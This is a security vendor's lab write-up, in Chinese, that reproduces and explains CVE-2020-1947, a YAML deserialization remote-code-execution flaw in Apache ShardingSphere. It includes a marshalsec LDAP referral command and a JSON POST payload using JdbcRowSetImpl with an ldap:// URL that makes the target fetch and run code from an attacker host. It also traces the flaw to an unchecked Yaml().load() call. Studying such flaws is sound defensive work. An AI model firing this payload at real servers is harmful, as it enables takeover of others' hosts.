提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      安全实验室 | Apache ShardingShpere漏洞分析与复现
      发布时间:2020-10-23 阅读次数: 351 次

      在2020年3月9日,Apache官方公开了一个远程代码执行漏洞,编号CVE-2020-1947,攻击者可以利用此漏洞执行任意代码,甚至完全控制目标主机,借着POC已被公开的机会,本期美创安全实验室带大家一起分析一波这个漏洞的成因以及POC工作原理。


      01

      漏洞介绍


      此次的漏洞发生在Apache基金会下面的一个名叫Apache ShardingSphere项目上,这个Apache ShardingSphere其实是一套由开源的分布式数据库中间件解决方案组成的生态圈,其中包含几个比较重要的独立产品:Sharding-JDBC、Sharding-Proxy和Sharding-Sidecar。这些相互独立的产品均提供了标准化的数据分片、分布式事务和数据库治理的功能。


      产品的设计固然是好的,但这次问题出现在ShardingSphere在解析某一文件(snakeyaml)时没有对其进行校验,因此出现了反序列化漏洞,从而导致可以允许用户提交恶意代码并执行的情况发生。


      本次漏洞影响了整个生态圈中大多数的组件,如Sharding-JDBC、Sharding-Proxy、Sharding-UI等,影响的版本包括了小于4.0.1版本的所有Apache ShardingSphere而4.0.1版本并不受影响,因此在开始之前先提醒各位,如果有使用上述产品的请尽快升级到最新版本。


      02

      漏洞验证


      1)搭建环境


      首先从apache官网下载ShardingSphere产品,一定要下载4.0.1以前的版本。





      将压缩包解压后,进入bin目录,直接运行start.sh





      直接访问127.0.0.1:8088端口,输入默认用户名和密码:admin/admin,即可进入前端页面。





      在注册中心页面中,添加一个zookeeper服务端,并与其连接,至此漏洞环境已经搭建完成了。





      2)构建EXP


      新建一个JAVA文件,构建一个能触发反序列化的EXP,能够执行任意指令,这里我们让其执行新建一个文件名为CVE-2020-1947的命令。根据普通的反序列exp稍微修改一下即可。





      将刚刚生成的java文件进行编译,生成.class文件。





      在此目录下利用Python启动一个简易的HTTPServer服务,其他机器访问8000端口就可访问到上面生成的exp。





      开启了HTTPServer服务后,还需要启动IDAP服务,这里我利用了marshalsec工具,执行以下命令,开启idap:


      java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer http://192.168.20.35:8000/#ExportObject





      3)触发漏洞


      这个漏洞的触发点在配置管理页面中的添加功能上,点击添加功能,可以配置刚刚注册的zookeeper,随意输入一些参数,点击提交并抓包。





      抓包后,将下面的参数替换为网上给出的poc,如下:


      {

      "name": "CVE-2020-1947",

      "ruleConfiguration": " encryptors:   encryptor_aes:      type: aes      props:        aes.key.value: 123456abc    encryptor_md5:      type: md5  tables:   t_encrypt:      columns:        user_id:          plainColumn: user_plain          cipherColumn: user_cipher          encryptor: encryptor_aes        order_id:          cipherColumn: order_cipher          encryptor: encryptor_md5",

      "dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl dataSourceName: ldap://192.168.20.35:1389/ExportObject  autoCommit: true"

      }





      此时已经成功触发了exp,执行了我们之前写好的代码“touch /tmp/CVE-2020-1947”,回到被控机上进行检查,果然出现了这个文件,证明漏洞触发成功。





      03

      漏洞原理


      根据对漏洞POC的抓包我们可以知道,此漏洞的触发点在/api/schema上,且是POST方法提交。因此我们搜索其源码,找到控制着schema的控制器源码





      在ShardingSchemaController.java中,根据处理POST请求的条件,定位到如下的源码,分析其代码可以发现,此函数执行了一个shardingSchemaService.addSchemaConfiguration函数。





      跟进此函数,在ui->service->impl->ShardingSchemaServiceImpl.java中定位到了此函数的处理方法。此函数接收三个参数,schemaName、ruleConfiguration、dataSourceConfiguration正好就是我们所输入的poc参数,分析POC可以发现,触发exp的参数是第三个,所以我们主要关注处理第三个参数的函数checkDataSourceConfiguration()。





      继续根据这个函数checkDataSourceConfigure,还是在这个文件中找到了这个函数的处理方式,此函数将之前接收到的参数执行了一个新的函数ConfigurationYamlConverter.loadDataSourceConfigurations()。





      继续跟进这个函数ConfigurationYamlConverter.

      loadDataSourceConfigurations,可以看到该函数会调用YamlEngine.unmarshal去处理数据,继续跟进这个函数就可以到达最终的反序列化漏洞点了。





      下图为unmarsha函数的代码,可以很明显的看出yaml直接通过new Yaml().load()来加载yaml,此函数并没考虑恶意加载的情况,攻击者可以直接通过这个方法导致反序列恶意类被加载。因此我们可以构建上一部分的exp代码,触发该反序列漏洞,造成任意命令执行。

      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部